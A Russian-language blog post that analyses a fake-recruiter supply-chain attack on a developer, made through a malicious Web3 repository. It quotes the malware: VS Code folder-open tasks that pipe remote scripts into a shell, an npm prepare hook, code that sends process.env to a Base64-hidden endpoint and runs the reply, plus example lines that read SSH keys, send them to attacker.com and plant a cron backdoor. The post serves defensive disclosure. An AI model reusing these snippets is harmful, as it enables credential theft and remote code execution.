Анатомия атаки на цепочку поставок, нацеленной на разработчика

Это случилось со мной. Началось всё с сообщения в LinkedIn от человека по имени Kevin (профиль сейчас удалён), который предлагал позицию технического лида в платформе децентрализованного стейкинга — бюджет $6,3 млн, полностью удалённо, гибкий график. Предложение было отполированным, а сама возможность звучала правдоподобно. Я назначил интервью — но когда началась встреча, на ней оказался совсем другой человек. Это был первый тревожный сигнал. Разговор быстро перешёл к разбору их кодовой базы. Первым моим порывом было открыть проект в GitHub Codespaces — удалённой среде, отделяющей выполнение от моего ноутбука. Но в репозитории такой опции не оказалось, и я перешёл к клонированию его локально.

После клонирования атакующий попросил открыть репозиторий именно в VS Code. Я пользовался продуктами JetBrains и отказался. Это исключило описанный ниже путь через .vscode/tasks.json. Такие задачи могут запускаться при открытии папки, но действуют настройки доверия и разрешения автозадач; само открытие недоверенной папки обычно не даёт такого разрешения.

Когда это не сработало, атакующий сменил тактику. Он попросил проверить версию Node — с виду безобидная просьба, которая заодно позволяла убедиться, что Node.js установлен и готов к работе. Затем он предложил запустить npm install за меня, попросив показать экран. Поскольку я знаю, что npm install может выполнять хуки жизненного цикла вроде postinstall, а что именно выполнят их зависимости, я не имел представления, я отказался. Я попросил время на изучение проекта до следующего звонка — но он настаивал сделать всё здесь и сейчас. Я отказался снова. Он просто отключился и больше не выходил на связь.

Просьбы сместились от выбора редактора к установке зависимостей с демонстрацией экрана. Оглядываясь назад, каждая приближала запуск кода проекта на моей машине.

Я попросил Claude помочь с анализом проекта. Код ниже пытается отправить окружение процесса Node на удалённый адрес и выполнить полученный код. Пути запуска обеспечивают задачи редактора и скрипты npm.

Проект представляется как «DLabs Platform» — Web3-платформа для гейминга, стейкинга и ставок, построенная на React, Node.js, Express и MongoDB. README отполирован, зависимости выглядят разумно, структура кода кажется профессиональной. Под этой поверхностью два пути запуска ведут к вредоносному коду.

Слой социальной инженерии

Атака начинается ещё до того, как выполнится хоть строчка кода. Атакующий отправляет репозиторий жертве — обычно под видом задания на интервью, фриланс-проекта на ревью или предложения о сотрудничестве. README подкрепляет легитимность:

## Installation & Running the Project
### 1. Clone the Repository
### 2. Install Dependencies
npm install
### 3. Run the Development Server
npm start

Стандартные инструкции. Ничего настораживающего. У проекта профессиональная структура с каталогами src/, server/, public/, настоящие зависимости вроде react, express, mongoose, ethers и даже .gitignore. Выглядит как десятки других стартовых Web3-проектов на GitHub.

Вектор атаки 1: автозапуск задач VSCode

Посмотрим на .vscode/tasks.json.

Задача запрашивает автозапуск при открытии папки. Выполнение зависит от доверия к рабочей области, разрешения автозадач и настроек редактора.

Задача 1: тихий npm install

{
  "label": "install-root-modules",
  "type": "shell",
  "command": "npm install --silent --no-progress",
  "runOptions": {
    "runOn": "folderOpen"
  },
  "presentation": {
    "reveal": "silent",
    "echo": false,
    "focus": false,
    "panel": "new",
    "showReuseMessage": false,
    "clear": true
  }
}

Если автозапуск разрешён, задача выполняет npm install --silent --no-progress. Настройки отображения делают команду менее заметной:

  • "reveal": "silent" — показывает терминал только при условиях режима silent, а не всегда.
  • "echo": false — скрывает вывод самой команды.
  • "focus": false — не переводит фокус в терминал.
  • "showReuseMessage": false — скрывает сообщение о повторном использовании терминала.
  • "clear": true — очищает терминал перед запуском задачи.

Флаги сокращают вывод консоли. Если задача разрешена и хуки включены, npm install вызывает prepare, запускающий сервер и описанный ниже вредоносный код.

Контроль автоматических задач

Документация VS Code описывает разрешение автозадач. Оставляйте незнакомые репозитории в Restricted Mode, проверяйте задачи до выдачи доверия и используйте "task.allowAutomaticTasks": "off" для отключения этого запуска. Workspace Trust не делает безопасным код, который вы решаете выполнить.

Задача 2: прямая загрузка shell-пейлоада

{
  "label": "env",
  "type": "shell",
  "osx": {
    "command": "curl -L '...' | bash"
  },
  "linux": {
    "command": "wget -qO- '...' | sh"
  },
  "windows": {
    "command": "curl --ssl-no-revoke -L ... | cmd"
  },
  "runOptions": {
    "runOn": "folderOpen"
  }
}

Эта задача скачивает и выполняет shell-скрипт прямо со второго Vercel-деплоя атакующего (vscodesettings-tasks-j227.vercel.app). Она учитывает платформу:

  • macOS: curl -L | bash
  • Linux: wget -qO- | sh
  • Windows: curl --ssl-no-revoke -L | cmd (флаг --ssl-no-revoke обходит проверку отзыва сертификатов)

Трюк с горизонтальной прокруткой

В исходном файле tasks.json вредоносные команды отбиты примерно 200 пробелами перед ключом "command":

"linux": {
                                                                                          "command": "wget -qO- '...' | sh"
}

В текстовом редакторе или инструменте код-ревью ключ "command" уезжает далеко за правый край видимой области. Разработчик, прокручивающий файл, увидит:

"linux": {

}

Команда выглядит как пустой объект. Чтобы увидеть настоящий пейлоад, придётся прокрутить по горизонтали — или включить перенос строк. Это известный приём обфускации, нацеленный именно на код-ревью в редакторах без переноса строк.

Вектор атаки 2: хук жизненного цикла npm

Посмотрим на package.json:

"scripts": {
    "start": "node server/server.js | react-scripts --openssl-legacy-provider start",
    "build": "node server/server.js | react-scripts --openssl-legacy-provider build",
    "test": "node server/server.js | react-scripts --openssl-legacy-provider test",
    "eject": "node server/server.js | react-scripts --openssl-legacy-provider eject",
    "prepare": "node server/server.js"
}

Хук prepare запускает node server/server.js в процессе установки. Разработчик, ожидающий только скачивания пакетов, может упустить этот запуск.

Скрипты start, build, test и eject также содержат node server/server.js |. Конвейер оболочки запускает обе команды параллельно и соединяет стандартный вывод первой со входом второй. Он не ждёт завершения сервера перед запуском другой команды.

Почему именно prepare?

В этом локальном проекте prepare выполняется во время npm install, если скрипты жизненного цикла не отключены. К этому этапу зависимости уже доступны. Такой хук используют и обычные проекты; само наличие не доказывает вредоносность. npm audit не является универсальным анализатором скриптов.

Шаг 1: утечка переменных окружения

Допустим, сервер поднялся — вот что происходит дальше. Посмотрим на server/controllers/auth.js:

const setApiKey = (s) => atob(s);

const verify = (api) =>
  axios.post(api, { ...process.env }, {
    headers: { "x-app-request": "ip-check" }
  });

Две безобидные с виду вспомогательные функции. setApiKey декодирует строку Base64. verify делает POST-запрос. Но посмотрите на второй аргумент axios.post:

{ ...process.env }

Разворачивание process.env отправляет окружение, доступное этому процессу Node, включая унаследованные переменные и загруженные из .env значения. Это не перечень всех переменных или учётных данных машины. В окружении процесса могут быть:

  • учётные данные AWS (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY)
  • API-ключи (OpenAI, Stripe, облачные провайдеры)
  • строки подключения к базам данных
  • секреты сессий и ключи JWT
  • пути к сокетам SSH-агента
  • PATH, HOME и другие системные переменные

Имена функций подобраны нарочито буднично. verify звучит так, будто проверяет API-ключ. setApiKey звучит как сеттер. При код-ревью они идеально сливаются с окружающей логикой аутентификации.

Заголовок "x-app-request": "ip-check" — ещё одно отвлечение: он намекает, что запрос является рутинной проверкой IP, а не операцией по выкачиванию данных.

Шаг 2: эндпоинт, обфусцированный Base64

Куда уходят украденные учётные данные? Посмотрим на .env:

AUTH_API=aHR0cHM6Ly9pcC1jaGVja2luZy1ub3RpZmljYXRpb24tajEudmVyY2VsLmFwcC9hcGk=

Декодирование Base64 даёт:

https://ip-checking-notification-j1.vercel.app/api

Декодированный адрес использует поддомен Vercel. Знакомая платформа может придать адресу обычный вид, но не доказывает его надёжность и не освобождает от проверок.

Кодирование в Base64 — не сильная обфускация: любой разработчик, применивший atob(), её раскодирует. Но своё дело она делает: быстрый grep по URL в файле .env не покажет подозрительный домен. Это выглядит как API-ключ, а не как URL.

Сам файл .env — это декорация

Обратите внимание, что .env не входит в .gitignore. В .gitignore аккуратно исключены:

.env.development.local
.env.test.local
.env.production.local

Но не сам .env. Это сделано намеренно. Файл .env закоммичен в репозиторий с правдоподобно выглядящими демо-ключами:

ALCHEMY_API_KEY=demo-alchemy-0123456789abcdef
STRIPE_SECRET_KEY=sk_test_STRIPEKEY123456
AWS_ACCESS_KEY_ID=AKIAEXAMPLE12345
OPENAI_API_KEY=sk-test_OpenAIkey1234567890

Показанные значения — заглушки. Похожие на настоящие ключи создают впечатление готового проекта, но по виду нельзя установить, действуют ли учётные данные в недоверенном репозитории.

Шаг 3: удалённое выполнение кода через динамическое создание функции

Теперь посмотрим, как всё связывается воедино. Откроем server/routes/api/auth.js:

const verified = validateApiKey();
if (!verified) {
  console.log("Aborting mempool scan due to failed API verification.");
  return;
}

async function validateApiKey() {
  verify(setApiKey(process.env.AUTH_API))
    .then((response) => {
      const executor = new Function("require", response.data);
      executor(require);
      console.log("API Key verified successfully.");
      return true;
    })
    .catch((err) => {
      console.log("API Key verification failed:", err);
      return false;
    });
}

Это самая опасная часть. Проследим выполнение:

  1. setApiKey(process.env.AUTH_API) — декодирует URL эндпоинта из Base64
  2. verify(decodedUrl) — отправляет POST со всеми переменными окружения на сервер атакующего
  3. Сервер атакующего отвечает JavaScript-кодом в response.data
  4. new Function("require", response.data) — создаёт новую функцию, используя тело ответа как исходный код
  5. executor(require) — выполняет эту функцию, передавая ей require из Node.js в качестве аргумента

Передача require открывает полученному коду модули Node, например fs и child_process. Доступ ограничен правами пользователя процесса и ограничениями ОС или контейнера, а не является безусловно неограниченным.

Что сервер атакующего может прислать в ответ

Следующие фрагменты показывают возможные действия, а не наблюдавшиеся ответы сервера. Успех зависел бы от прав процесса и доступных файлов.

// Чтение SSH-ключей
const fs = require('fs');
const keys = fs.readFileSync(require('os').homedir() + '/.ssh/id_rsa', 'utf8');

// Выполнение shell-команд
const { execSync } = require('child_process');
execSync('curl attacker.com/exfil?data=' + encodeURIComponent(keys));

// Установка постоянного бэкдора
fs.writeFileSync('/tmp/.hidden_script.sh', '...');
execSync('crontab -l | echo "* * * * * /tmp/.hidden_script.sh" | crontab -');

new Function() выполняет динамический код в глобальной области, в отличие от прямого eval() в локальной. Здесь явная передача require предоставляет удалённому коду загрузчик модулей.

Сообщение об ошибке — тоже социальная инженерия

console.log("Aborting mempool scan due to failed API verification.");

Сообщение похоже на обычный сбой Web3, но в вызове есть другая ошибка: validateApiKey() — async, поэтому verified является Promise и if (!verified) ложно. Отклонённый запрос попадает в .catch(console.error), а не вызывает это сообщение остановки.

Полная схема атаки

Собираем всё вместе — вот полная схема атаки:

Разработчик получает ссылку на проект
│
├─ Открывает папку в VSCode
│  │
│  ├─ Задача 1: тихий npm install
│  │  └─ хук prepare → поднимается сервер
│  │     └─ POST process.env на сервер атакующего
│  │        └─ получение JS-пейлоада
│  │           └─ new Function()(require) → RCE
│  │
│  └─ Задача 2: curl/wget | bash → прямая загрузка shell-скрипта
│
└─ Запускает npm install
   └─ хук prepare → поднимается сервер (та же цепочка, что выше)

Есть два пути выполнения: разрешённые задачи редактора и скрипты npm. Путь npm отправляет окружение, затем выполняет ответ того же адреса; эти операции связаны. Отдельная задача загрузки shell-скрипта использует другой адрес.

Если адрес сбора недоступен, этот запрос не доставит окружение и не получит ответный код. Другой доступный адрес всё ещё может обслужить отдельную shell-задачу.

Индикаторы компрометации

Если задача, хук или скрипт выполнялись, исследуйте среду запуска. Открытие папки без выполнения задач не равно запуску пейлоада. Проверьте:

  1. Исходящие соединения к домену *.vercel.app в сетевых логах
  2. Неизвестные cron-задачи: crontab -l на Linux/macOS
  3. Необычные процессы: поищите постоянно работающие фоновые процессы
  4. Изменённые конфиги шелла: правки в .bashrc, .zshrc, .profile
  5. Новые SSH-ключи или записи в authorized_keys
  6. Установленные или изменённые расширения браузера

Смените все учётные данные, которые были в переменных окружения на момент выполнения.

Хорошая интуиция: GitHub Codespaces

Codespaces отделил бы выполнение от файловой системы ноутбука, но не сделал бы проект автоматически безопасным. В codespace могут быть токены GitHub, переданные учётные данные, секреты репозитория и доступ к сети. Изоляция должна учитывать эти ресурсы, а не только расположение VM.

Опция Codespaces была мне недоступна. Само по себе это не объясняет причину: влияют права аккаунта, политика и настройки репозитория. Я всё равно мог выбрать другую изолированную среду для проверки вместо локального запуска.

А если бы это запустилось на Deno?

Модель разрешений Deno ограничивает окружение, сеть, файлы и подпроцессы, если код действительно запускается в Deno с ограниченными правами. В зависимости от режима запрещённая операция может запросить разрешение или завершиться ошибкой.

Это условная защита, а не результат простой установки Deno. Скрипты npm явно запускают node, а широкие разрешения вроде --allow-all снимают защиту Deno. Разрешение неограниченных подпроцессов тоже ослабляет эту границу.

Shell-задача VS Code — вектор атаки 1. Она загружает и выполняет код вне Deno, поэтому его разрешения на неё не распространяются. То же относится к хукам npm, запускающим другую среду.

Выводы и защита

  1. Проверяйте незнакомые проекты в одноразовой среде без личных учётных данных, монтирований хоста и проброшенных агентов.
  2. До выполнения изучите package.json, изменения зависимостей и задачи редактора.
  3. Оставляйте недоверенные рабочие области ограниченными и отключайте автозадачи через "task.allowAutomaticTasks": "off".
  4. npm install --ignore-scripts пропускает хуки, но не делает установленный код безопасным для последующего запуска.
  5. Включайте перенос строк, чтобы видеть команды за длинными пробелами.
  6. Проверяйте динамическое выполнение (new Function(), eval()) и подпроцессы с учётом контекста.
  7. Декодируйте подозрительные значения локально как данные; не открывайте адреса и не выполняйте содержимое.